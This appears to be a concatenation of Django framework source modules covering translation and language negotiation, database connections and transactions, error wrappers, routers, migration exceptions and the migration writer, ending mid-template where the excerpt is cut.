def gettext(message):
    """
    Returns a string of the translation of the message.

    Returns a string on Python 3 and an UTF-8-encoded bytestring on Python 2.
    """
    return do_translate(message, 'gettext')

if six.PY3:
    ugettext = gettext
else:
    def ugettext(message):
        return do_translate(message, 'ugettext')


def pgettext(context, message):
    msg_with_ctxt = "%s%s%s" % (context, CONTEXT_SEPARATOR, message)
    result = ugettext(msg_with_ctxt)
    if CONTEXT_SEPARATOR in result:
        # Translation not found
        # force unicode, because lazy version expects unicode
        result = force_text(message)
    return result


def gettext_noop(message):
    """
    Marks strings for translation but doesn't translate them now. This can be
    used to store strings in global variables that should stay in the base
    language (because they might be used externally) and will be translated
    later.
    """
    return message


def do_ntranslate(singular, plural, number, translation_function):
    global _default

    t = getattr(_active, "value", None)
    if t is not None:
        return getattr(t, translation_function)(singular, plural, number)
    if _default is None:
        _default = translation(settings.LANGUAGE_CODE)
    return getattr(_default, translation_function)(singular, plural, number)


def ngettext(singular, plural, number):
    """
    Returns a string of the translation of either the singular or plural,
    based on the number.

    Returns a string on Python 3 and an UTF-8-encoded bytestring on Python 2.
    """
    return do_ntranslate(singular, plural, number, 'ngettext')

if six.PY3:
    ungettext = ngettext
else:
    def ungettext(singular, plural, number):
        """
        Returns a unicode strings of the translation of either the singular or
        plural, based on the number.
        """
        return do_ntranslate(singular, plural, number, 'ungettext')


def npgettext(context, singular, plural, number):
    msgs_with_ctxt = ("%s%s%s" % (context, CONTEXT_SEPARATOR, singular),
                      "%s%s%s" % (context, CONTEXT_SEPARATOR, plural),
                      number)
    result = ungettext(*msgs_with_ctxt)
    if CONTEXT_SEPARATOR in result:
        # Translation not found
        result = ungettext(singular, plural, number)
    return result


def all_locale_paths():
    """
    Returns a list of paths to user-provides languages files.
    """
    globalpath = os.path.join(
        os.path.dirname(upath(sys.modules[settings.__module__].__file__)), 'locale')
    return [globalpath] + list(settings.LOCALE_PATHS)


@lru_cache.lru_cache(maxsize=1000)
def check_for_language(lang_code):
    """
    Checks whether there is a global language file for the given language
    code. This is used to decide whether a user-provided language is
    available.

    lru_cache should have a maxsize to prevent from memory exhaustion attacks,
    as the provided language codes are taken from the HTTP request. See also
    <https://www.djangoproject.com/weblog/2007/oct/26/security-fix/>.
    """
    # First, a quick check to make sure lang_code is well-formed (#21458)
    if lang_code is None or not language_code_re.search(lang_code):
        return False
    for path in all_locale_paths():
        if gettext_module.find('django', path, [to_locale(lang_code)]) is not None:
            return True
    return False


@lru_cache.lru_cache()
def get_languages():
    """
    Cache of settings.LANGUAGES in an OrderedDict for easy lookups by key.
    """
    return OrderedDict(settings.LANGUAGES)


@lru_cache.lru_cache(maxsize=1000)
def get_supported_language_variant(lang_code, strict=False):
    """
    Returns the language-code that's listed in supported languages, possibly
    selecting a more generic variant. Raises LookupError if nothing found.

    If `strict` is False (the default), the function will look for an alternative
    country-specific variant when the currently checked is not found.

    lru_cache should have a maxsize to prevent from memory exhaustion attacks,
    as the provided language codes are taken from the HTTP request. See also
    <https://www.djangoproject.com/weblog/2007/oct/26/security-fix/>.
    """
    if lang_code:
        # If 'fr-ca' is not supported, try special fallback or language-only 'fr'.
        possible_lang_codes = [lang_code]
        try:
            possible_lang_codes.extend(LANG_INFO[lang_code]['fallback'])
        except KeyError:
            pass
        generic_lang_code = lang_code.split('-')[0]
        possible_lang_codes.append(generic_lang_code)
        supported_lang_codes = get_languages()

        for code in possible_lang_codes:
            if code in supported_lang_codes and check_for_language(code):
                return code
        if not strict:
            # if fr-fr is not supported, try fr-ca.
            for supported_code in supported_lang_codes:
                if supported_code.startswith(generic_lang_code + '-'):
                    return supported_code
    raise LookupError(lang_code)


def get_language_from_path(path, strict=False):
    """
    Returns the language-code if there is a valid language-code
    found in the `path`.

    If `strict` is False (the default), the function will look for an alternative
    country-specific variant when the currently checked is not found.
    """
    regex_match = language_code_prefix_re.match(path)
    if not regex_match:
        return None
    lang_code = regex_match.group(1)
    try:
        return get_supported_language_variant(lang_code, strict=strict)
    except LookupError:
        return None


def get_language_from_request(request, check_path=False):
    """
    Analyzes the request to find what language the user wants the system to
    show. Only languages listed in settings.LANGUAGES are taken into account.
    If the user requests a sublanguage where we have a main language, we send
    out the main language.

    If check_path is True, the URL path prefix will be checked for a language
    code, otherwise this is skipped for backwards compatibility.
    """
    if check_path:
        lang_code = get_language_from_path(request.path_info)
        if lang_code is not None:
            return lang_code

    supported_lang_codes = get_languages()

    if hasattr(request, 'session'):
        lang_code = request.session.get(LANGUAGE_SESSION_KEY)
        if lang_code in supported_lang_codes and lang_code is not None and check_for_language(lang_code):
            return lang_code

    lang_code = request.COOKIES.get(settings.LANGUAGE_COOKIE_NAME)

    try:
        return get_supported_language_variant(lang_code)
    except LookupError:
        pass

    accept = request.META.get('HTTP_ACCEPT_LANGUAGE', '')
    for accept_lang, unused in parse_accept_lang_header(accept):
        if accept_lang == '*':
            break

        if not language_code_re.search(accept_lang):
            continue

        try:
            return get_supported_language_variant(accept_lang)
        except LookupError:
            continue

    try:
        return get_supported_language_variant(settings.LANGUAGE_CODE)
    except LookupError:
        return settings.LANGUAGE_CODE


def parse_accept_lang_header(lang_string):
    """
    Parses the lang_string, which is the body of an HTTP Accept-Language
    header, and returns a list of (lang, q-value), ordered by 'q' values.

    Any format errors in lang_string results in an empty list being returned.
    """
    result = []
    pieces = accept_language_re.split(lang_string.lower())
    if pieces[-1]:
        return []
    for i in range(0, len(pieces) - 1, 3):
        first, lang, priority = pieces[i:i + 3]
        if first:
            return []
        if priority:
            priority = float(priority)
        else:
            priority = 1.0
        result.append((lang, priority))
    result.sort(key=lambda k: k[1], reverse=True)
    return result






from django.core import signals
from django.db.utils import (
    DEFAULT_DB_ALIAS, DJANGO_VERSION_PICKLE_KEY, ConnectionHandler,
    ConnectionRouter, DatabaseError, DataError, Error, IntegrityError,
    InterfaceError, InternalError, NotSupportedError, OperationalError,
    ProgrammingError,
)

__all__ = [
    'backend', 'connection', 'connections', 'router', 'DatabaseError',
    'IntegrityError', 'InternalError', 'ProgrammingError', 'DataError',
    'NotSupportedError', 'Error', 'InterfaceError', 'OperationalError',
    'DEFAULT_DB_ALIAS', 'DJANGO_VERSION_PICKLE_KEY'
]

connections = ConnectionHandler()

router = ConnectionRouter()


# `connection`, `DatabaseError` and `IntegrityError` are convenient aliases
# for backend bits.

# DatabaseWrapper.__init__() takes a dictionary, not a settings module, so we
# manually create the dictionary from the settings, passing only the settings
# that the database backends care about.
# We load all these up for backwards compatibility, you should use
# connections['default'] instead.
class DefaultConnectionProxy(object):
    """
    Proxy for accessing the default DatabaseWrapper object's attributes. If you
    need to access the DatabaseWrapper object itself, use
    connections[DEFAULT_DB_ALIAS] instead.
    """
    def __getattr__(self, item):
        return getattr(connections[DEFAULT_DB_ALIAS], item)

    def __setattr__(self, name, value):
        return setattr(connections[DEFAULT_DB_ALIAS], name, value)

    def __delattr__(self, name):
        return delattr(connections[DEFAULT_DB_ALIAS], name)

    def __eq__(self, other):
        return connections[DEFAULT_DB_ALIAS] == other

    def __ne__(self, other):
        return connections[DEFAULT_DB_ALIAS] != other

connection = DefaultConnectionProxy()


# Register an event to reset saved queries when a Django request is started.
def reset_queries(**kwargs):
    for conn in connections.all():
        conn.queries_log.clear()
signals.request_started.connect(reset_queries)


# Register an event to reset transaction state and close connections past
# their lifetime.
def close_old_connections(**kwargs):
    for conn in connections.all():
        conn.close_if_unusable_or_obsolete()
signals.request_started.connect(close_old_connections)
signals.request_finished.connect(close_old_connections)






from django.db import (
    DEFAULT_DB_ALIAS, DatabaseError, Error, ProgrammingError, connections,
)
from django.utils.decorators import ContextDecorator


class TransactionManagementError(ProgrammingError):
    """
    This exception is thrown when transaction management is used improperly.
    """
    pass


def get_connection(using=None):
    """
    Get a database connection by name, or the default database connection
    if no name is provided. This is a private API.
    """
    if using is None:
        using = DEFAULT_DB_ALIAS
    return connections[using]


def get_autocommit(using=None):
    """
    Get the autocommit status of the connection.
    """
    return get_connection(using).get_autocommit()


def set_autocommit(autocommit, using=None):
    """
    Set the autocommit status of the connection.
    """
    return get_connection(using).set_autocommit(autocommit)


def commit(using=None):
    """
    Commits a transaction.
    """
    get_connection(using).commit()


def rollback(using=None):
    """
    Rolls back a transaction.
    """
    get_connection(using).rollback()


def savepoint(using=None):
    """
    Creates a savepoint (if supported and required by the backend) inside the
    current transaction. Returns an identifier for the savepoint that will be
    used for the subsequent rollback or commit.
    """
    return get_connection(using).savepoint()


def savepoint_rollback(sid, using=None):
    """
    Rolls back the most recent savepoint (if one exists). Does nothing if
    savepoints are not supported.
    """
    get_connection(using).savepoint_rollback(sid)


def savepoint_commit(sid, using=None):
    """
    Commits the most recent savepoint (if one exists). Does nothing if
    savepoints are not supported.
    """
    get_connection(using).savepoint_commit(sid)


def clean_savepoints(using=None):
    """
    Resets the counter used to generate unique savepoint ids in this thread.
    """
    get_connection(using).clean_savepoints()


def get_rollback(using=None):
    """
    Gets the "needs rollback" flag -- for *advanced use* only.
    """
    return get_connection(using).get_rollback()


def set_rollback(rollback, using=None):
    """
    Sets or unsets the "needs rollback" flag -- for *advanced use* only.

    When `rollback` is `True`, it triggers a rollback when exiting the
    innermost enclosing atomic block that has `savepoint=True` (that's the
    default). Use this to force a rollback without raising an exception.

    When `rollback` is `False`, it prevents such a rollback. Use this only
    after rolling back to a known-good state! Otherwise, you break the atomic
    block and data corruption may occur.
    """
    return get_connection(using).set_rollback(rollback)


def on_commit(func, using=None):
    """
    Register `func` to be called when the current transaction is committed.
    If the current transaction is rolled back, `func` will not be called.
    """
    get_connection(using).on_commit(func)


#################################
# Decorators / context managers #
#################################

class Atomic(ContextDecorator):
    """
    This class guarantees the atomic execution of a given block.

    An instance can be used either as a decorator or as a context manager.

    When it's used as a decorator, __call__ wraps the execution of the
    decorated function in the instance itself, used as a context manager.

    When it's used as a context manager, __enter__ creates a transaction or a
    savepoint, depending on whether a transaction is already in progress, and
    __exit__ commits the transaction or releases the savepoint on normal exit,
    and rolls back the transaction or to the savepoint on exceptions.

    It's possible to disable the creation of savepoints if the goal is to
    ensure that some code runs within a transaction without creating overhead.

    A stack of savepoints identifiers is maintained as an attribute of the
    connection. None denotes the absence of a savepoint.

    This allows reentrancy even if the same AtomicWrapper is reused. For
    example, it's possible to define `oa = @atomic('other')` and use `@oa` or
    `with oa:` multiple times.

    Since database connections are thread-local, this is thread-safe.

    This is a private API.
    """

    def __init__(self, using, savepoint):
        self.using = using
        self.savepoint = savepoint

    def __enter__(self):
        connection = get_connection(self.using)

        if not connection.in_atomic_block:
            # Reset state when entering an outermost atomic block.
            connection.commit_on_exit = True
            connection.needs_rollback = False
            if not connection.get_autocommit():
                # Some database adapters (namely sqlite3) don't handle
                # transactions and savepoints properly when autocommit is off.
                # Turning autocommit back on isn't an option; it would trigger
                # a premature commit. Give up if that happens.
                if connection.features.autocommits_when_autocommit_is_off:
                    raise TransactionManagementError(
                        "Your database backend doesn't behave properly when "
                        "autocommit is off. Turn it on before using 'atomic'.")
                # Pretend we're already in an atomic block to bypass the code
                # that disables autocommit to enter a transaction, and make a
                # note to deal with this case in __exit__.
                connection.in_atomic_block = True
                connection.commit_on_exit = False

        if connection.in_atomic_block:
            # We're already in a transaction; create a savepoint, unless we
            # were told not to or we're already waiting for a rollback. The
            # second condition avoids creating useless savepoints and prevents
            # overwriting needs_rollback until the rollback is performed.
            if self.savepoint and not connection.needs_rollback:
                sid = connection.savepoint()
                connection.savepoint_ids.append(sid)
            else:
                connection.savepoint_ids.append(None)
        else:
            connection.set_autocommit(False, force_begin_transaction_with_broken_autocommit=True)
            connection.in_atomic_block = True

    def __exit__(self, exc_type, exc_value, traceback):
        connection = get_connection(self.using)

        if connection.savepoint_ids:
            sid = connection.savepoint_ids.pop()
        else:
            # Prematurely unset this flag to allow using commit or rollback.
            connection.in_atomic_block = False

        try:
            if connection.closed_in_transaction:
                # The database will perform a rollback by itself.
                # Wait until we exit the outermost block.
                pass

            elif exc_type is None and not connection.needs_rollback:
                if connection.in_atomic_block:
                    # Release savepoint if there is one
                    if sid is not None:
                        try:
                            connection.savepoint_commit(sid)
                        except DatabaseError:
                            try:
                                connection.savepoint_rollback(sid)
                                # The savepoint won't be reused. Release it to
                                # minimize overhead for the database server.
                                connection.savepoint_commit(sid)
                            except Error:
                                # If rolling back to a savepoint fails, mark for
                                # rollback at a higher level and avoid shadowing
                                # the original exception.
                                connection.needs_rollback = True
                            raise
                else:
                    # Commit transaction
                    try:
                        connection.commit()
                    except DatabaseError:
                        try:
                            connection.rollback()
                        except Error:
                            # An error during rollback means that something
                            # went wrong with the connection. Drop it.
                            connection.close()
                        raise
            else:
                # This flag will be set to True again if there isn't a savepoint
                # allowing to perform the rollback at this level.
                connection.needs_rollback = False
                if connection.in_atomic_block:
                    # Roll back to savepoint if there is one, mark for rollback
                    # otherwise.
                    if sid is None:
                        connection.needs_rollback = True
                    else:
                        try:
                            connection.savepoint_rollback(sid)
                            # The savepoint won't be reused. Release it to
                            # minimize overhead for the database server.
                            connection.savepoint_commit(sid)
                        except Error:
                            # If rolling back to a savepoint fails, mark for
                            # rollback at a higher level and avoid shadowing
                            # the original exception.
                            connection.needs_rollback = True
                else:
                    # Roll back transaction
                    try:
                        connection.rollback()
                    except Error:
                        # An error during rollback means that something
                        # went wrong with the connection. Drop it.
                        connection.close()

        finally:
            # Outermost block exit when autocommit was enabled.
            if not connection.in_atomic_block:
                if connection.closed_in_transaction:
                    connection.connection = None
                else:
                    connection.set_autocommit(True)
            # Outermost block exit when autocommit was disabled.
            elif not connection.savepoint_ids and not connection.commit_on_exit:
                if connection.closed_in_transaction:
                    connection.connection = None
                else:
                    connection.in_atomic_block = False


def atomic(using=None, savepoint=True):
    # Bare decorator: @atomic -- although the first argument is called
    # `using`, it's actually the function being decorated.
    if callable(using):
        return Atomic(DEFAULT_DB_ALIAS, savepoint)(using)
    # Decorator: @atomic(...) or context manager: with atomic(...): ...
    else:
        return Atomic(using, savepoint)


def _non_atomic_requests(view, using):
    try:
        view._non_atomic_requests.add(using)
    except AttributeError:
        view._non_atomic_requests = {using}
    return view


def non_atomic_requests(using=None):
    if callable(using):
        return _non_atomic_requests(using, DEFAULT_DB_ALIAS)
    else:
        if using is None:
            using = DEFAULT_DB_ALIAS
        return lambda view: _non_atomic_requests(view, using)






import os
import pkgutil
from importlib import import_module
from threading import local

from django.conf import settings
from django.core.exceptions import ImproperlyConfigured
from django.utils import six
from django.utils._os import npath, upath
from django.utils.functional import cached_property
from django.utils.module_loading import import_string

DEFAULT_DB_ALIAS = 'default'
DJANGO_VERSION_PICKLE_KEY = '_django_version'


class Error(Exception if six.PY3 else StandardError):  # NOQA: StandardError undefined on PY3
    pass


class InterfaceError(Error):
    pass


class DatabaseError(Error):
    pass


class DataError(DatabaseError):
    pass


class OperationalError(DatabaseError):
    pass


class IntegrityError(DatabaseError):
    pass


class InternalError(DatabaseError):
    pass


class ProgrammingError(DatabaseError):
    pass


class NotSupportedError(DatabaseError):
    pass


class DatabaseErrorWrapper(object):
    """
    Context manager and decorator that re-throws backend-specific database
    exceptions using Django's common wrappers.
    """

    def __init__(self, wrapper):
        """
        wrapper is a database wrapper.

        It must have a Database attribute defining PEP-249 exceptions.
        """
        self.wrapper = wrapper

    def __enter__(self):
        pass

    def __exit__(self, exc_type, exc_value, traceback):
        if exc_type is None:
            return
        for dj_exc_type in (
                DataError,
                OperationalError,
                IntegrityError,
                InternalError,
                ProgrammingError,
                NotSupportedError,
                DatabaseError,
                InterfaceError,
                Error,
        ):
            db_exc_type = getattr(self.wrapper.Database, dj_exc_type.__name__)
            if issubclass(exc_type, db_exc_type):
                dj_exc_value = dj_exc_type(*exc_value.args)
                dj_exc_value.__cause__ = exc_value
                if not hasattr(exc_value, '__traceback__'):
                    exc_value.__traceback__ = traceback
                # Only set the 'errors_occurred' flag for errors that may make
                # the connection unusable.
                if dj_exc_type not in (DataError, IntegrityError):
                    self.wrapper.errors_occurred = True
                six.reraise(dj_exc_type, dj_exc_value, traceback)

    def __call__(self, func):
        # Note that we are intentionally not using @wraps here for performance
        # reasons. Refs #21109.
        def inner(*args, **kwargs):
            with self:
                return func(*args, **kwargs)
        return inner


def load_backend(backend_name):
    """
    Return a database backend's "base" module given a fully qualified database
    backend name, or raise an error if it doesn't exist.
    """
    # This backend was renamed in Django 1.9.
    if backend_name == 'django.db.backends.postgresql_psycopg2':
        backend_name = 'django.db.backends.postgresql'

    try:
        return import_module('%s.base' % backend_name)
    except ImportError as e_user:
        # The database backend wasn't found. Display a helpful error message
        # listing all possible (built-in) database backends.
        backend_dir = os.path.join(os.path.dirname(upath(__file__)), 'backends')
        try:
            builtin_backends = [
                name for _, name, ispkg in pkgutil.iter_modules([npath(backend_dir)])
                if ispkg and name not in {'base', 'dummy', 'postgresql_psycopg2'}
            ]
        except EnvironmentError:
            builtin_backends = []
        if backend_name not in ['django.db.backends.%s' % b for b in
                                builtin_backends]:
            backend_reprs = map(repr, sorted(builtin_backends))
            error_msg = ("%r isn't an available database backend.\n"
                         "Try using 'django.db.backends.XXX', where XXX "
                         "is one of:\n    %s\nError was: %s" %
                         (backend_name, ", ".join(backend_reprs), e_user))
            raise ImproperlyConfigured(error_msg)
        else:
            # If there's some other error, this must be an error in Django
            raise


class ConnectionDoesNotExist(Exception):
    pass


class ConnectionHandler(object):
    def __init__(self, databases=None):
        """
        databases is an optional dictionary of database definitions (structured
        like settings.DATABASES).
        """
        self._databases = databases
        self._connections = local()

    @cached_property
    def databases(self):
        if self._databases is None:
            self._databases = settings.DATABASES
        if self._databases == {}:
            self._databases = {
                DEFAULT_DB_ALIAS: {
                    'ENGINE': 'django.db.backends.dummy',
                },
            }
        if self._databases[DEFAULT_DB_ALIAS] == {}:
            self._databases[DEFAULT_DB_ALIAS]['ENGINE'] = 'django.db.backends.dummy'

        if DEFAULT_DB_ALIAS not in self._databases:
            raise ImproperlyConfigured("You must define a '%s' database" % DEFAULT_DB_ALIAS)
        return self._databases

    def ensure_defaults(self, alias):
        """
        Puts the defaults into the settings dictionary for a given connection
        where no settings is provided.
        """
        try:
            conn = self.databases[alias]
        except KeyError:
            raise ConnectionDoesNotExist("The connection %s doesn't exist" % alias)

        conn.setdefault('ATOMIC_REQUESTS', False)
        conn.setdefault('AUTOCOMMIT', True)
        conn.setdefault('ENGINE', 'django.db.backends.dummy')
        if conn['ENGINE'] == 'django.db.backends.' or not conn['ENGINE']:
            conn['ENGINE'] = 'django.db.backends.dummy'
        conn.setdefault('CONN_MAX_AGE', 0)
        conn.setdefault('OPTIONS', {})
        conn.setdefault('TIME_ZONE', None)
        for setting in ['NAME', 'USER', 'PASSWORD', 'HOST', 'PORT']:
            conn.setdefault(setting, '')

    def prepare_test_settings(self, alias):
        """
        Makes sure the test settings are available in the 'TEST' sub-dictionary.
        """
        try:
            conn = self.databases[alias]
        except KeyError:
            raise ConnectionDoesNotExist("The connection %s doesn't exist" % alias)

        test_settings = conn.setdefault('TEST', {})
        for key in ['CHARSET', 'COLLATION', 'NAME', 'MIRROR']:
            test_settings.setdefault(key, None)

    def __getitem__(self, alias):
        if hasattr(self._connections, alias):
            return getattr(self._connections, alias)

        self.ensure_defaults(alias)
        self.prepare_test_settings(alias)
        db = self.databases[alias]
        backend = load_backend(db['ENGINE'])
        conn = backend.DatabaseWrapper(db, alias)
        setattr(self._connections, alias, conn)
        return conn

    def __setitem__(self, key, value):
        setattr(self._connections, key, value)

    def __delitem__(self, key):
        delattr(self._connections, key)

    def __iter__(self):
        return iter(self.databases)

    def all(self):
        return [self[alias] for alias in self]

    def close_all(self):
        for alias in self:
            try:
                connection = getattr(self._connections, alias)
            except AttributeError:
                continue
            connection.close()


class ConnectionRouter(object):
    def __init__(self, routers=None):
        """
        If routers is not specified, will default to settings.DATABASE_ROUTERS.
        """
        self._routers = routers

    @cached_property
    def routers(self):
        if self._routers is None:
            self._routers = settings.DATABASE_ROUTERS
        routers = []
        for r in self._routers:
            if isinstance(r, six.string_types):
                router = import_string(r)()
            else:
                router = r
            routers.append(router)
        return routers

    def _router_func(action):
        def _route_db(self, model, **hints):
            chosen_db = None
            for router in self.routers:
                try:
                    method = getattr(router, action)
                except AttributeError:
                    # If the router doesn't have a method, skip to the next one.
                    pass
                else:
                    chosen_db = method(model, **hints)
                    if chosen_db:
                        return chosen_db
            instance = hints.get('instance')
            if instance is not None and instance._state.db:
                return instance._state.db
            return DEFAULT_DB_ALIAS
        return _route_db

    db_for_read = _router_func('db_for_read')
    db_for_write = _router_func('db_for_write')

    def allow_relation(self, obj1, obj2, **hints):
        for router in self.routers:
            try:
                method = router.allow_relation
            except AttributeError:
                # If the router doesn't have a method, skip to the next one.
                pass
            else:
                allow = method(obj1, obj2, **hints)
                if allow is not None:
                    return allow
        return obj1._state.db == obj2._state.db

    def allow_migrate(self, db, app_label, **hints):
        for router in self.routers:
            try:
                method = router.allow_migrate
            except AttributeError:
                # If the router doesn't have a method, skip to the next one.
                continue

            allow = method(db, app_label, **hints)

            if allow is not None:
                return allow
        return True

    def allow_migrate_model(self, db, model):
        return self.allow_migrate(
            db,
            model._meta.app_label,
            model_name=model._meta.model_name,
            model=model,
        )

    def get_migratable_models(self, app_config, db, include_auto_created=False):
        """
        Return app models allowed to be synchronized on provided db.
        """
        models = app_config.get_models(include_auto_created=include_auto_created)
        return [model for model in models if self.allow_migrate_model(db, model)]






from __future__ import unicode_literals

from django.db.utils import DatabaseError
from django.utils.encoding import python_2_unicode_compatible


class AmbiguityError(Exception):
    """
    Raised when more than one migration matches a name prefix.
    """
    pass


class BadMigrationError(Exception):
    """
    Raised when there's a bad migration (unreadable/bad format/etc.).
    """
    pass


class CircularDependencyError(Exception):
    """
    Raised when there's an impossible-to-resolve circular dependency.
    """
    pass


class InconsistentMigrationHistory(Exception):
    """
    Raised when an applied migration has some of its dependencies not applied.
    """
    pass


class InvalidBasesError(ValueError):
    """
    Raised when a model's base classes can't be resolved.
    """
    pass


class IrreversibleError(RuntimeError):
    """
    Raised when a irreversible migration is about to be reversed.
    """
    pass


@python_2_unicode_compatible
class NodeNotFoundError(LookupError):
    """
    Raised when an attempt on a node is made that is not available in the graph.
    """

    def __init__(self, message, node, origin=None):
        self.message = message
        self.origin = origin
        self.node = node

    def __str__(self):
        return self.message

    def __repr__(self):
        return "NodeNotFoundError(%r)" % (self.node, )


class MigrationSchemaMissing(DatabaseError):
    pass


class InvalidMigrationPlan(ValueError):
    pass






from __future__ import unicode_literals

import os
import re
from importlib import import_module

from django import get_version
from django.apps import apps
from django.db import migrations
from django.db.migrations.loader import MigrationLoader
from django.db.migrations.serializer import serializer_factory
from django.utils._os import upath
from django.utils.encoding import force_text
from django.utils.inspect import get_func_args
from django.utils.module_loading import module_dir
from django.utils.timezone import now

try:
    import enum
except ImportError:
    # No support on Python 2 if enum34 isn't installed.
    enum = None


class SettingsReference(str):
    """
    Special subclass of string which actually references a current settings
    value. It's treated as the value in memory, but serializes out to a
    settings.NAME attribute reference.
    """

    def __new__(self, value, setting_name):
        return str.__new__(self, value)

    def __init__(self, value, setting_name):
        self.setting_name = setting_name


class OperationWriter(object):
    def __init__(self, operation, indentation=2):
        self.operation = operation
        self.buff = []
        self.indentation = indentation

    def serialize(self):

        def _write(_arg_name, _arg_value):
            if (_arg_name in self.operation.serialization_expand_args and
                    isinstance(_arg_value, (list, tuple, dict))):
                if isinstance(_arg_value, dict):
                    self.feed('%s={' % _arg_name)
                    self.indent()
                    for key, value in _arg_value.items():
                        key_string, key_imports = MigrationWriter.serialize(key)
                        arg_string, arg_imports = MigrationWriter.serialize(value)
                        args = arg_string.splitlines()
                        if len(args) > 1:
                            self.feed('%s: %s' % (key_string, args[0]))
                            for arg in args[1:-1]:
                                self.feed(arg)
                            self.feed('%s,' % args[-1])
                        else:
                            self.feed('%s: %s,' % (key_string, arg_string))
                        imports.update(key_imports)
                        imports.update(arg_imports)
                    self.unindent()
                    self.feed('},')
                else:
                    self.feed('%s=[' % _arg_name)
                    self.indent()
                    for item in _arg_value:
                        arg_string, arg_imports = MigrationWriter.serialize(item)
                        args = arg_string.splitlines()
                        if len(args) > 1:
                            for arg in args[:-1]:
                                self.feed(arg)
                            self.feed('%s,' % args[-1])
                        else:
                            self.feed('%s,' % arg_string)
                        imports.update(arg_imports)
                    self.unindent()
                    self.feed('],')
            else:
                arg_string, arg_imports = MigrationWriter.serialize(_arg_value)
                args = arg_string.splitlines()
                if len(args) > 1:
                    self.feed('%s=%s' % (_arg_name, args[0]))
                    for arg in args[1:-1]:
                        self.feed(arg)
                    self.feed('%s,' % args[-1])
                else:
                    self.feed('%s=%s,' % (_arg_name, arg_string))
                imports.update(arg_imports)

        imports = set()
        name, args, kwargs = self.operation.deconstruct()
        operation_args = get_func_args(self.operation.__init__)

        # See if this operation is in django.db.migrations. If it is,
        # We can just use the fact we already have that imported,
        # otherwise, we need to add an import for the operation class.
        if getattr(migrations, name, None) == self.operation.__class__:
            self.feed('migrations.%s(' % name)
        else:
            imports.add('import %s' % (self.operation.__class__.__module__))
            self.feed('%s.%s(' % (self.operation.__class__.__module__, name))

        self.indent()

        for i, arg in enumerate(args):
            arg_value = arg
            arg_name = operation_args[i]
            _write(arg_name, arg_value)

        i = len(args)
        # Only iterate over remaining arguments
        for arg_name in operation_args[i:]:
            if arg_name in kwargs:  # Don't sort to maintain signature order
                arg_value = kwargs[arg_name]
                _write(arg_name, arg_value)

        self.unindent()
        self.feed('),')
        return self.render(), imports

    def indent(self):
        self.indentation += 1

    def unindent(self):
        self.indentation -= 1

    def feed(self, line):
        self.buff.append(' ' * (self.indentation * 4) + line)

    def render(self):
        return '\n'.join(self.buff)


class MigrationWriter(object):
    """
    Takes a Migration instance and is able to produce the contents
    of the migration file from it.
    """

    def __init__(self, migration):
        self.migration = migration
        self.needs_manual_porting = False

    def as_string(self):
        """
        Returns a string of the file contents.
        """
        items = {
            "replaces_str": "",
            "initial_str": "",
        }

        imports = set()

        # Deconstruct operations
        operations = []
        for operation in self.migration.operations:
            operation_string, operation_imports = OperationWriter(operation).serialize()
            imports.update(operation_imports)
            operations.append(operation_string)
        items["operations"] = "\n".join(operations) + "\n" if operations else ""

        # Format dependencies and write out swappable dependencies right
        dependencies = []
        for dependency in self.migration.dependencies:
            if dependency[0] == "__setting__":
                dependencies.append("        migrations.swappable_dependency(settings.%s)," % dependency[1])
                imports.add("from django.conf import settings")
            else:
                # No need to output bytestrings for dependencies
                dependency = tuple(force_text(s) for s in dependency)
                dependencies.append("        %s," % self.serialize(dependency)[0])
        items["dependencies"] = "\n".join(dependencies) + "\n" if dependencies else ""

        # Format imports nicely, swapping imports of functions from migration files
        # for comments
        migration_imports = set()
        for line in list(imports):
            if re.match("^import (.*)\.\d+[^\s]*$", line):
                migration_imports.add(line.split("import")[1].strip())
                imports.remove(line)
                self.needs_manual_porting = True

        # django.db.migrations is always used, but models import may not be.
        # If models import exists, merge it with migrations import.
        if "from django.db import models" in imports:
            imports.discard("from django.db import models")
            imports.add("from django.db import migrations, models")
        else:
            imports.add("from django.db import migrations")

        # Sort imports by the package / module to be imported (the part after
        # "from" in "from ... import ..." or after "import" in "import ...").
        sorted_imports = sorted(imports, key=lambda i: i.split()[1])
        items["imports"] = "\n".join(sorted_imports) + "\n" if imports else ""
        if migration_imports:
            items["imports"] += (
                "\n\n# Functions from the following migrations need manual "
                "copying.\n# Move them and any dependencies into this file, "
                "then update the\n# RunPython operations to refer to the local "
                "versions:\n# %s"
            ) % "\n# ".join(sorted(migration_imports))
        # If there's a replaces, make a string for it
        if self.migration.replaces:
            items['replaces_str'] = "\n    replaces = %s\n" % self.serialize(self.migration.replaces)[0]
        # Hinting that goes into comment
        items.update(
            version=get_version(),
            timestamp=now().strftime("%Y-%m-%d %H:%M"),
        )

        if self.migration.initial:
            items['initial_str'] = "\n    initial = True\n"

        return (MIGRATION_TEMPLATE % items).encode("utf8")

    @property
    def basedir(self):
        migrations_package_name = MigrationLoader.migrations_module(self.migration.app_label)

        if migrations_package_name is None:
            raise ValueError(
                "Django can't create migrations for app '%s' because "
                "migrations have been disabled via the MIGRATION_MODULES "
                "setting." % self.migration.app_label
            )

        # See if we can import the migrations module directly
        try:
            migrations_module = import_module(migrations_package_name)
        except ImportError:
            pass
        else:
            try:
                return upath(module_dir(migrations_module))
            except ValueError:
                pass

        # Alright, see if it's a direct submodule of the app
        app_config = apps.get_app_config(self.migration.app_label)
        maybe_app_name, _, migrations_package_basename = migrations_package_name.rpartition(".")
        if app_config.name == maybe_app_name:
            return os.path.join(app_config.path, migrations_package_basename)

        # In case of using MIGRATION_MODULES setting and the custom package
        # doesn't exist, create one, starting from an existing package
        existing_dirs, missing_dirs = migrations_package_name.split("."), []
        while existing_dirs:
            missing_dirs.insert(0, existing_dirs.pop(-1))
            try:
                base_module = import_module(".".join(existing_dirs))
            except ImportError:
                continue
            else:
                try:
                    base_dir = upath(module_dir(base_module))
                except ValueError:
                    continue
                else:
                    break
        else:
            raise ValueError(
                "Could not locate an appropriate location to create "
                "migrations package %s. Make sure the toplevel "
                "package exists and can be imported." %
                migrations_package_name)

        final_dir = os.path.join(base_dir, *missing_dirs)
        if not os.path.isdir(final_dir):
            os.makedirs(final_dir)
        for missing_dir in missing_dirs:
            base_dir = os.path.join(base_dir, missing_dir)
            with open(os.path.join(base_dir, "__init__.py"), "w"):
                pass

        return final_dir

    @property
    def filename(self):
        return "%s.py" % self.migration.name

    @property
    def path(self):
        return os.path.join(self.basedir, self.filename)

    @classmethod
    def serialize(cls, value):
        return serializer_factory(value).serialize()


MIGRATION_TEMPLATE = """\
# -*- coding: utf-8 -*-
# Generated by Django %(version)s on %(timestamp)s
from __future__ import unicode_literals

%(imports)s

